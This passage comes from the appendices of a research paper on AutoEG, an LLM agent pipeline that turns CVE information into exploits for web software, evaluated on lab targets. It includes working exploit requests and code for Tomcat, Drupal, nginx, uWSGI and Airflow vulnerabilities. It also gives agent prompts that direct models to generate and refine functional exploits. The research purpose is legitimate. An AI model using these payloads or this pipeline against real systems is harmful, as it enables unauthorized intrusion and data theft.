Finocchi, âA survey of symbolic execution techniques,â ACM Computing Surveys (CSUR), vol. 51, no. 3, p. 1â 39, 2018. [34]K. Ryan and C. Sturton, âSylvia: Countering the path ex- plosion problem in the symbolic execution of hardware designs,â in 2023 Formal Methods in Computer-Aided Design (FMCAD). IEEE, 2023, p. 110â121. [35]J. Huang and Q. Zhu, âPenheal: A two-stage llm frame- work for automated pentesting and optimal remediation,â in Proceedings of the Workshop on Autonomous Cyber- security, 2023, p. 11â22. [36]J. Xu, J. W. Stokes, G. McDonald, X. Bai, D. Marshall, S. Wang, A. Swaminathan, and Z. Li, âAutoattacker: A large language model guided system to implement auto- matic cyber-attacks,â arXiv preprint arXiv:2403.01038, 2024. [37]A. Happe and J. Cito, âGetting pwnâd by ai: Penetra- tion testing with large language models,â in Proceedings of the 31st ACM Joint European Software Engineering Conference and Symposium on the Foundations of Soft- ware Engineering, 2023, p. 2082â2086. [38]vulhub.org, âVulhub: Pre-built vulnerable environments based on docker-compose,â 2021. [Online]. Available: https://vulhub.org/ [39]H. S. S. Engineering and D. Institute, â2025 cwe top 25 most dangerous software weaknesses,â 2025. [Online]. Available: https://cwe.mitre.org/top25/ archive/2025/2025_cwe_top25.html [40]owasp.org, âOwasp top ten web application security risks,â 2025. [Online]. Available: https://owasp.org/ w-project-top-ten/ [41]Q. Team, âQwen3: Think deeper, act faster,â 2025. [Online]. Available: https://qwenlm.github.io/blog/ qwen3/ [42]OpenAI, âHello gpt-4o,â 2024. [Online]. Available: https://openai.com/index/hello-gpt-4o/ [43]DeepSeek, âDeepseek-v3-0324,â 2025.[Online]. Available: https://modelscope.cn/models/deepseek-ai/ DeepSeek-V3-0324 15 [44]Anthropic, âClaude 3.7 sonnet and claude code,â 2025. [Online]. Available: https://w.anthropic.com/news/ claude-3-7-sonnet [45]Amazon, âAmazon lightsail,â 2024, accessed: 01-01- 2025. [Online]. Available: https://aws.amazon.com/ lightsail/ [46] CVE.org, âCve-205-24813,â 2025. [Online]. Available: https://w.cve.org/CVERecord?id=CVE-205-24813 [47]Apache, âWelcome to apache tomcat!â 2026. [Online]. Available: https://github.com/apache/tomcat 16 A Case Study Figures 7, 8, and 9 present the code-level details of the case study described in Section 5.5. Vulnerability Info (CVE-2025-24813) description: "Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution ...", references: "The vulnerability exists due to two key misconfigurations in Tomcat. First, the DefaultServlet is configured with readonly=false, allowing file uploads:" <servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> "Second, Tomcat is configured to use file-based session persistence." <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> "Both configurations use ... To exploit this vulnerability, first send a partial PUT request ...:" PUT /deserialize/session HTTP/1.1 Host: your-ip:8080 Content-Length: 1234 Content-Range: bytes 0-5/10 deserialize content "Then, send another request with a manipulated JSESSIONID cookie to trigger deserialization of the file:" GET / HTTP/1.1 Host: your-ip:8080 Cookie: JSESSIONID=.deserialize "In a real attack scenario, the "deserialize content" would be replaced with a malicious serialized Java object that can execute arbitrary code when deserialized by web applications." Figure 7: Vulnerability information details for CVE-2025- 24813. B Examples of Vulnerability Information Rep- resentations We present representative examples of the four fundamental vulnerability information types used in this work: natural- language explanations, HTTP request examples, payload frag- ments, and code snippets. The remaining three categories (NL+HTTP, NL+Payload, and NL+Code) are mixed cases that combine multiple textual forms, we therefore omit sepa- rate examples. All examples are collected from official CVE records and their referenced materials. In all cases, the CVE description alone provides only high-level vulnerability se- mantics, while concrete triggering logic and exploit construc- Trigger Function def trigger_tomcat_rce_via_partial_put(target_host: str, ... partial_put_path: str = "/deserialize/session", content_range: str = "bytes 0-end/total"): ... with tempfile.NamedTemporaryFile(delete=False) as tmp_payload: subprocess.run(["java", "-jar", ysoserial_path, "CommonsCollections1", attack_command], stdout=tmp_payload, check=True) ... # Step 1: Partial PUT put_url = f"target_host.rstrip('/')partial_put_path" headers_put = "Content-Range": content_range_value, "Content-Length": str(total_len), "Content-Type": "application/octet-stream" ... # Step 2: GET with JSESSIONID get_url = f"target_host.rstrip('/')/" [lack cookie setting] => + cookies = "JSESSIONID": f".jsessionid_suffix" ... return response_put.status_code, response_get.status_code Trigger Function Valiation # Assertion 1: PUT URL actual_put_url = mock_put.call_args[0][0] assert actual_put_url == expected_put_url, ( f"[PUT URL MISMATCH] : expected_put_url : actual_put_url") # Assertion 2: PUT Body actual_body = mock_put.call_args[1]["data"] assert actual_body == fake_payload, (f"[PUT BODY MISMATCH] : fake_payload : actual_body") # Assertion 3: PUT Headers actual_headers = mock_put.call_args[1]["headers"] for k, v in expected_headers.items(): assert k in actual_headers, f"[HEADER MISSING] k" assert actual_headers[k] == v, f"[HEADER VALUE MISMATCH] k : v : actual_headers[k]" # Assertion 4: GET URL and Cookie actual_get_url = mock_get.call_args[0][0] assert actual_get_url == expected_get_url, (f"[GET URL MISMATCH] : expected_get_url : actual_get_url") actual_cookies = mock_get.call_args[1]["cookies"] assert actual_cookies == expected_cookies, (f"[COOKIE MISMATCH] : expected_cookies : actual_cookies") Figure 8: Trigger function construction details for CVE-2025- 24813. Exploits "Attack Objective 1: Get information about the UID and GID settings on the target server." def trigger_tomcat_rce_via_partial_put(...): with tempfile.NamedTemporaryFile(delete=False) as tmp_payload: subprocess.run(["java", "-jar", ysoserial_path, "CommonsCollections1", attack_command], stdout=tmp_payload, check=True) ... CommonsBeanutils1 target = "http://w.testtarget.com:1234" ... command = "id" ... "Attack Objective 2: Identify the current user on target server during the remote command execution." def trigger_tomcat_rce_via_partial_put(...): with tempfile.NamedTemporaryFile(delete=False) as tmp_payload: subprocess.run(["java", "-jar", ysoserial_path, "CommonsCollections1", attack_command], stdout=tmp_payload, check=True) ... CommonsBeanutils1 target = "http://w.testtarget.com:1234" ... command = "whoami" ... ... Figure 9: Generated exploits details for CVE-2025-24813. tion details appear in the referenced materials. Natural-language explanations (CVE-2013-4547). Fig- ure 10 shows a case where the CVE description reports that access restrictions can be bypassed via âan unescaped space character in a URI,â but does not specify which encodings, path patterns, or request structures realize the bypass. The referenced materials describe the triggering behavior in free- form text and must be interpreted and abstracted before exe- cutable logic can be derived. 17 Vulnerability Info (CVE-2013-4547) description: "nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescaped space character in a URI.", references: "Some checks on a request URI were not executed on a character following an unescaped space character (which is invalid per HTTP protocol, but allowed for compatibility reasons since nginx 0.8.41). One of the results is that it was possible to bypass security restrictions like location /protected/ deny all; by requesting a file as '/foo /../protected/file'(in case of static files, only if there is a "foo " directory with a trailing space), or to trigger processing of a file with a trailing space in a configuration like location ~ \.php$ fastcgi_pass ... by requesting a file as â/file \0.php'..." Figure 10: Representative example of natural-language vul- nerability information from the CVE-2013-4547 records. HTTP request examples (CVE-2018-7600). Figure 11 shows a case where the CVE description attributes the vul- nerability to âan issue affecting multiple subsystems with default or common module configurationsâ without specify- ing the concrete misconfigurations or how they enable code execution. The references provide HTTP request instances demonstrating exploitability under specific setups but require abstraction to generalize across environments. Vulnerability Info (CVE-2018-7600) description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.", references: " POST /user/register? element_parents=account/mail/%23value &ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-w-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1 &mail[#post_render][]=exec&mail[#type]=markup &mail[#markup]=id " Figure 11: Representative example of HTTP request vulnera- bility information from the CVE-2018-7600 records. Payload fragments (CVE-2018-7490). Figure 12 shows a case where the CVE description reports directory traversal due to improper DOCUMENT_ROOT checking but does not specify the traversal patterns or payload construction. The ref- erences provide partial payload fragments that capture critical exploit components and must be composed and completed before execution. Vulnerability Info (CVE-2018-7490) description: "uWSGI before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, allowing directory traversal.", references: "http://x/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" Figure 12: Representative example of payload fragment vul- nerability information from the CVE-2018-7490 records. Code snippets (CVE-2020-11981). Figure 13 shows a case where the CVE description states that command injection is possible when attackers can connect to the message bro- ker but does not specify how malicious messages are crafted or delivered. The references provide executable code snip- pets that encode concrete exploitation workflows but require adaptation and validation for reuse in automated pipelines. Vulnerability Info (CVE-2020-11981) description: "An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.", references: "... queue_name = 'default' ori_str="... \"body_encoding\": \"base64\", ..., \"content-type\": \"application/json\", \"headers\": ..., \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgIm Nob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxi YWNrcyI6IG51bGx9XQ==\"" task_dict = json.loads(ori_str) command = ['touch', '/tmp/airflow_celery_success'] body=[[command], , "chain": None, "chord": None, "errbacks": None, "callbacks": None] task_dict['body']=base64.b64encode(json.dumps(body). encode()).decode() print(task_dict) r.lpush(queue_name,json.dumps(task_dict))" Figure 13: Representative example of code snippet vulnera- bility information from the CVE-2020-11981 records. C Prompt Details for AutoEG Agents This section reports the complete prompts used for LLM inter- actions within each agent in AutoEG to support reproducibility and detailed inspection. The functional roles and control logic of individual agents, including their non-LLM components (e.g., rule-based validation, exploit execution, and feedback collection), are described in Section 4.3 and Section 4.4. Here we focus exclusively on presenting the exact prompt contents used by each agent. Each figure shows the full system in- struction, input specification, and output constraints for the corresponding LLM interaction. â Trigger Logic Extractor. Figure 14 shows the prompt 18 used by the agent to extract vulnerability trigger logic from the given vulnerability information and to formalize it as an initial trigger function with explicit configurable parameters. Trigger Logic Extractor Prompt You are a highly skilled technical assistant with deep expertise in penetration testing and exploit development. Given detailed vulnerability information, including descriptions and references, your task is to: Abstract the core logic of how to trigger a vulnerability into a reusable function, based on the provided vulnerability data. Identify and extract all invariant and essential elements, such as specific API endpoints, function names, or constant parameters. For each expression in the references, determine whether it represents a fixed requirement or a variable input related to the attack. Only expose the minimal necessary set of variable components as configurable inputs. Figure 14: Prompt in the Trigger Logic Extractor agent. âĄTrigger Function Validator. Figure 15 shows the prompt used by the agent to generate structured test cases from vul- nerability references, which are subsequently executed by deterministic assertion checks for trigger function validation. Trigger Function Validator Prompt Use the provided references to generate a structured test case for validating the correctness of the generated function of the vulnerability trigger logic. This test case will be used in a rule-based validation process (e.g., via Python `assert` statements) to check whether the output of the trigger function aligns with the references. Your test case must support validation of the following aspects: (1) URL Path Match: Include the expected URL path and any query parameters mentioned in the references. This will be compared against the actual URL path generated from trigger function; (2) HTTP Body Match: Include the expected HTTP request body (e.g., JSON or form data), as used in the references, The structure and content must be suitable for direct field-by-filed assetion; (3) HTTP Method and Headers: Include the expected HTTP method and any headers (e.g., `Content-Type`, `Authorization`) critical for successful execution. Print "Test passed." if all checks pass, otherwise raise an AssertionError with a clear error message. Figure 15: Prompt in the Trigger Function Validator agent. ⢠Trigger Function Refiner. Figure 16 shows the prompt used by the agent to revise a failing trigger function based on assertion feedback, while preserving the original trigger semantics and structure. Trigger Function Refiner Prompt Analyze the failed validation result (i.e., the AssertionError) to identify the mismatch or error between the expected and actual behavior. Refine the trigger function accordingly to correct the identified issues and ensure the provided test case passes successfully. Focus on adjusting parameter usage, request construction, or any other aspects directly causing the failure, while preserving the original intent, structure and functional semantics in references as much as possible. Figure 16: Prompt in the Trigger Function Refiner agent. ⣠Exploit Generator. Figure 17 shows the prompt used by the agent to instantiate a validated trigger function into con- crete exploit scripts for specified attack objectives under a given target environment. Exploit Generator Prompt Generate a fully functional Python exploit that leverages the provided trigger function as its core logic. The script must be tailored to the specified target web application and designed to achieve the given attack objective. Specially, you should: Instantiate the trigger function with appropriate parameter values derived from the target environment. Construct a complete and realistic HTTP request flow and output the server responses. Use standard Python libraries such as requests for network interactions. Ensure the final exploit is syntactically correct, executable, and appropriate for real-world penetration testing scenarios. Figure 17: Prompt in the Exploit Generator agent. â¤Exploit Executor. Figure 18 shows the prompt used by the agent to assess runtime execution results with respect to the specified attack objective and produce a binary success decision. Exploit Executor Prompt Analyze the provided server response to determine whether the attack was successful (i.e., achieved the attack objective). The result should include an explicit attack_result (TRUE for success, FALSE for failure): - If the attack succeeded (attack_result = TRUE), keep the original exploit unchanged as part of the final results. - If the attack failed (attack_result = FALSE), use the server response as output for further refinement. Figure 18: Prompt in the Exploit Executor agent. âĽExploit Refiner. Figure 19 shows the prompt used by the agent to revise failed exploit instances based on execution feedback, while preserving the original attack objective and trigger logic. 19 Exploit Refiner Prompt Analyze the provided server response to identify the cause of the attack failure. Refine the exploit based on the given script and response text to address the failure and achieve a successful attack. Figure 19: Prompt in the Exploit Refiner agent. D Detailed Taxonomy and Dataset Coverage This section documents the detailed taxonomy and dataset coverage of vulnerability information and attack objectives used in our benchmark. While the construction principles and experimental usage of these taxonomies are described in Section 5, this section provides the complete categories and CVE mappings to facilitate transparency and reproducibility. D.1Vulnerability Information Categories and CVE Coverage Table 6 reports the complete mapping between vulnerability information categories and their associated CVE identifiers. This table provides an explicit account of dataset coverage and serves as the reference for category-level analysis in RQ1 (Section 5.2). D.2Attack Objective Categories and CVE Coverage Table 8 summarizes the attack objective categories, detailed objectives, and the corresponding CVE identifiers included in the benchmark. Each objective is defined in terms of ob- servable runtime behaviors or response conditions, enabling deterministic success evaluation under black-box settings. The table provides a complete mapping between objective categories and vulnerabilities to support consistent evaluation and reproducibility in RQ2 (Section 5.3). E Cost Analysis of AutoEG This section reports the computational and monetary cost of running AutoEG under different LLM backbones in terms of average wall-clock runtime, token consumption, and mon- etary cost. 1 All statistics are computed over all executions, including both successful and failed runs. Each execution corresponds to one complete exploit generation process for a 1 We use the public pricing at the time of experimentation: gpt-4o-2024- 08-06 (Input: $1.25 / 1M tokens, Output: $5.00 / 1M tokens), deepseek-chat (Input: ÂĽ0.20 / 1M tokens, Output: ÂĽ3.00 / 1M tokens), qwen-plus-2025-04-28 (Input: $0.40 / 1M tokens, Output: $1.20 / 1M tokens), and claude-3-7-sonnet- 20250219 (Input: $3.00 / 1M tokens, Output: $15.00 / 1M tokens). All costs are converted to USD for reporting consistency. Table 6: Vulnerability information categories and their associ- ated CVE identifiers. CategoryRelated CVEs Natural Language (NL) CVE-2010-3863, CVE-2013-4547, CVE-2018- 3760, CVE-2019-7609, CVE-2020-1957 HTTP Request Ex- amples (HTTP) CVE-2012-1823, CVE-2014-3704, CVE-2014- 6271,CVE-2017-11610,CVE-2017-12615, CVE-2017-14849, CVE-2017-7525, CVE-2017- 8046, CVE-2017-9841, CVE-2018-1000533, CVE-2018-1273,CVE-2018-19475,CVE- 2018-19518, CVE-2018-7600, CVE-2018-8715, CVE-2019-10758,CVE-2019-15107,CVE- 2019-5418, CVE-2019-7238, CVE-2020-10199, CVE-2020-10204, CVE-2020-13942, CVE-2020- 13945, CVE-2020-16846, CVE-2020-17518, CVE-2021-25646, CVE-2021-40438, CVE-2021- 40822, CVE-2021-43798, CVE-2022-22963, CVE-2022-24816,CVE-2022-46169,CVE- 2023-32315, CVE-2023-4450, CVE-2023-51467, CVE-2024-27348, CVE-2024-4956 Payloads (Payload)CVE-2015-3337, CVE-2016-10134, CVE-2017- 1000028, CVE-2017-8917, CVE-2018-1000861, CVE-2018-14574, CVE-2018-7490, CVE-2019- 14234, CVE-2020-17519, CVE-2021-28164, CVE-2021-28169, CVE-2021-34429, CVE-2021- 35042, CVE-2021-41277, CVE-2022-34265, CVE-2023-23752, CVE-2023-25157 CodeSnippets (Code) CVE-2019-9053, CVE-2020-11981, CVE-2021- 26120 NL+HTTPCVE-2014-3120, CVE-2015-1427, CVE-2015- 5531,CVE-2016-3088,CVE-2017-10271, CVE-2017-12635, CVE-2017-12636, CVE-2017- 15715, CVE-2017-17405, CVE-2019-17558, CVE-2019-3396,CVE-2020-35476,CVE- 2020-7012, CVE-2021-26084, CVE-2021-3129, CVE-2021-41773, CVE-2021-42013, CVE-2022- 22947, CVE-2022-22965, CVE-2022-26134, CVE-2022-4223, CVE-2023-22515, CVE-2023- 22527, CVE-2023-25826, CVE-2023-26360, CVE-2023-28432, CVE-2023-38646, CVE-2023- 42793, CVE-2024-36401, CVE-2024-38856, CVE-2024-45507, CVE-2025-24813 NL+PayloadCVE-2010-2861, CVE-2015-8562, CVE-2016- 1897, CVE-2016-4977, CVE-2020-9402, CVE- 2022-22978, CVE-2024-56145 NL+CodeCVE-2023-46604, CVE-2024-43441, CVE-2024- 45195 Table 7: Average runtime, token consumption, and monetary cost of AutoEG under different LLM backbones. ModelAvg. Runtime (s)Avg. TokensAvg. Cost (USD) Qwen-Plus610.438,5391.7286 GPT-4o788.736,8020.2257 DeepSeek-V31,729.155,5510.0122 Claude-3.7672.345,2441.3939 Avg.950.144,0340.8401 20 Table 8: Attack objective categories, detailed objectives, and associated CVE identifiers. CategoriesAttack Objective SetRelated CVEs Sensitive Information (SI) - Access the /admin page. - Exfiltrate the content of WEB-INF/web.xml - Expose configuration including MySQL username and password. - Read the contents of /etc/passwd file from the target server. - Retrieve environment variables including âMINIO_ROOT_USERâ and âMINIO_ROOT_PASSWORDâ. - Retrieve the web.xml file. CVE-2018-3760, CVE-2024-4956, CVE-2021-41277, CVE-2017-14849, CVE-2010-2861, CVE-2015-3337, CVE-2021-43798, CVE-2019-5418, CVE-2019-3396, CVE-2016-1897, CVE-2021-42013, CVE-2018-7490, CVE-2015-5531, CVE-2020-17519, CVE-2017-1000028, CVE-2023-23752, CVE-2021-28169, CVE-2020-1957, CVE-2021-28164, CVE-2021-34429, CVE-2018-8715, CVE-2010-3863, CVE-2023-28432, CVE-2022-22978 Remote Command Execution (RCE) - Get information about the UID and GID settings on the target server. - Identify the current user on target server during the remote command execution. - Test external network connectivity with âgoogle.comâ. - Use evil router to identify current user on target server. - Trigger special functions like phpinfo() CVE-2019-17558, CVE-2023-26360, CVE-2024-38856, CVE-2014-3120, CVE-2022-4223, CVE-2014-6271, CVE-2022-24816, CVE-2022-22947, CVE-2021-26120, CVE-2020-13945, CVE-2021-41773, CVE-2018-7600, CVE-2024-45195, CVE-2022-26134, CVE-2012-1823, CVE-2021-26084, CVE-2022-22965, CVE-2015-1427, CVE-2024-56145, CVE-2019-15107, CVE-2018-19475, CVE-2023-42793, CVE-2023-4450, CVE-2017-12615, CVE-2021-25646, CVE-2024-27348, CVE-2023-22527, CVE-2025-24813, CVE-2016-4977, CVE-2021-3129, CVE-2023-38646, CVE-2020-13942, CVE-2017-17405, CVE-2018-1273, CVE-2024-45507, CVE-2023-46604, CVE-2023-51467, CVE-2020-11981, CVE-2022-46169, CVE-2017-11610, CVE-2017-8046, CVE-2020-35476, CVE-2019-7609, CVE-2018-1000861, CVE-2019-7238, CVE-2020-7012, CVE-2018-1000533, CVE-2019-10758, CVE-2020-10204, CVE-2020-16846, CVE-2020-10199, CVE-2022-22963, CVE-2023-25826, CVE-2017-7525, CVE-2018-19518, CVE-2017-12636, CVE-2013-4547, CVE-2015-8562 Arbitrary File Write (AFW) - Write â1234567890â into the file /tmp/test0001 remotely. - Create a new floder /tmp/success remotely. - Create a new file success.txt under the current path remotely. - Execute command âidâ and create a new file /tmp/success for the execution result. - Upload a file to /tmp/success on the target server. CVE-2023-38646, CVE-2020-13942, CVE-2017-17405, CVE-2018-1273, CVE-2024-45507, CVE-2023-46604, CVE-2023-51467, CVE-2020-11981, CVE-2022-46169, CVE-2017-11610, CVE-2017-8046, CVE-2020-35476, CVE-2019-7609, CVE-2018-1000861, CVE-2019-7238, CVE-2020-7012, CVE-2018-1000533, CVE-2019-10758, CVE-2020-10204, CVE-2020-16846, CVE-2020-10199, CVE-2022-22963, CVE-2023-25826, CVE-2017-7525, CVE-2018-19518, CVE-2017-12636, CVE-2020-17518 Privilege Escalation (PE) - Bypass the authentication, as evidenced by receiving a 200 status code and a session-setting header in the server response. - Create a new account named âtestAâ with password âtest123â. - Add a system account(testA) and show all accounts on the server from /etc/passwd. - Obtain the password of the admin account. - Use a generated token to access protected endpoints. CVE-2023-32315, CVE-2024-43441, CVE-2023-22515, CVE-2019-9053, CVE-2017-12635, CVE-2010-3863, CVE-2020-1957, CVE-2022-22978, CVE-2018-8715 Webshell (WS) - Upload a webshell and obtain a connection to target server. - Obtain the reverse shell connection. CVE-2017-10271, CVE-2017-9841, CVE-2016-3088, CVE-2017-15715, CVE-2020-17518 SQL Injection (SQLi) - Get SQL error message, which confirming a successful SQL injection. - Retrieve the version of PostgreSQL via SQL injection. - Obtain table or schema data via SQL injection. CVE-2020-9402, CVE-2023-25157, CVE-2021-35042, CVE-2016-10134, CVE-2019-14234, CVE-2017-8917, CVE-2013-4547, CVE-2014-3704 Miscellaneous (MISC) - Get response from âgoogle.comâ. - Redirect user to âw.google.comâ. - Trigger the XSS with âhello worldâ message. CVE-2021-40822, CVE-2021-40438, CVE-2024-36401, CVE-2018-14574 single vulnerability, which may internally involve multiple at- tack objectives and iterative refinements. Table 7 summarizes the results. Overall, AutoEG exhibits moderate runtime overheads across all models, with average runtimes ranging from sev- eral minutes to under half an hour per vulnerability. Runtime differences mainly reflect model inference latency and the number of refinement iterations triggered during execution. DeepSeek-V3 incurs the longest average runtime and highest token usage, whereas Qwen-Plus, GPT-4o, and Claude-3.7 show comparable wall-clock performance. Monetary cost varies substantially due to pricing differences rather than to- ken volume alone: DeepSeek-V3 achieves the lowest cost despite higher token usage, while Claude-3.7 and Qwen-Plus incur higher costs under premium pricing; GPT-4o provides a balanced trade-off between runtime efficiency and cost. These results indicate that AutoEG can be deployed under different costâperformance constraints while maintaining stable end- to-end behavior. 21